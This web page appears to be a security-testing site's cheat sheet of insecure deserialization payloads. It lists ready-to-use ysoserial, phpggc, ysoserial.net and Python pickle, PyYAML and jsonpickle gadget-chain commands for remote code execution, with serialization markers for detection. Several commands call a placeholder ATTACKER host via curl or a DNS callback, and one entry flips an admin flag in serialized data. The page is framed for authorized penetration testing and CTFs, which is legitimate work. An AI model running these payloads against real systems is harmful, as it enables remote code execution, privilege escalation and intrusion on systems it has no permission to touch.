Skip to content
Payload Playground

Insecure Deserialization Cheat Sheet

Insecure deserialization payloads for Java, PHP, Python, and .NET with gadget chains and tool commands. (20 payloads)

Build custom Deserialization payloads in the Command Injection generator

Java (ysoserial)

(6)
java -jar ysoserial.jar CommonsCollections1 "id"
Commons Collections 1 gadget chainJava
java -jar ysoserial.jar CommonsCollections6 "curl http://ATTACKER"
CC6 — works with newer commons-collectionsJava
java -jar ysoserial.jar URLDNS "http://ATTACKER/canary"
DNS callback detection (no RCE needed)Java
java -jar ysoserial.jar Spring1 "id"
Spring framework gadget chainJava
java -jar ysoserial.jar Jdk7u21 "id"
JDK 7u21 native gadget chainJava
Look for: rO0AB (base64) or aced0005 (hex) — Java serialized markers
Detection: Java serialization markers

PHP (phpggc)

(6)
phpggc Monolog/RCE1 system id
Monolog RCE gadget chainPHP
phpggc Laravel/RCE1 system id
Laravel RCE gadget chainPHP
phpggc Symfony/RCE1 system id
Symfony RCE gadget chainPHP
phpggc Guzzle/RCE1 system id
Guzzle RCE gadget chainPHP
Look for: O:4:"User" — PHP serialized object format
Detection: PHP serialization format
Modify s:5:"admin";b:0; → s:5:"admin";b:1;
Manual boolean flip in serialized data

Python (pickle)

(4)
import pickle,os;class E:__reduce__=lambda s:(os.system,('id',));pickle.dumps(E())
Pickle RCE via __reduce__Python
!!python/object/apply:os.system ["id"]
PyYAML unsafe_load RCEPython
{"py/reduce":[{"py/function":"os.system"},{"py/tuple":["id"]}]}
jsonpickle RCEPython
Look for: \x80\x04\x95 — Python pickle markers
Detection: pickle protocol markers

.NET (ysoserial.net)

(4)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o raw -c "id"
TypeConfuseDelegate gadget.NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -o raw -c "id"
ObjectDataProvider for Json.Net.NET
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -o base64 -c "id"
WindowsIdentity gadget (base64).NET
Look for: AAEAAAD// (base64) — .NET BinaryFormatter marker
Detection: .NET serialization markers
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the Insecure Deserialization Cheat Sheet?+

It's a quick-reference collection of 20 Deserialization payloads for testing Insecure Deserialization vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Deserialization payloads?+

Copy any payload straight into your authorized test, or open the Command Injection generator to build customized Deserialization variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Deserialization payloads free to use?+

Yes — this cheat sheet and all Deserialization payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/deserialization) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.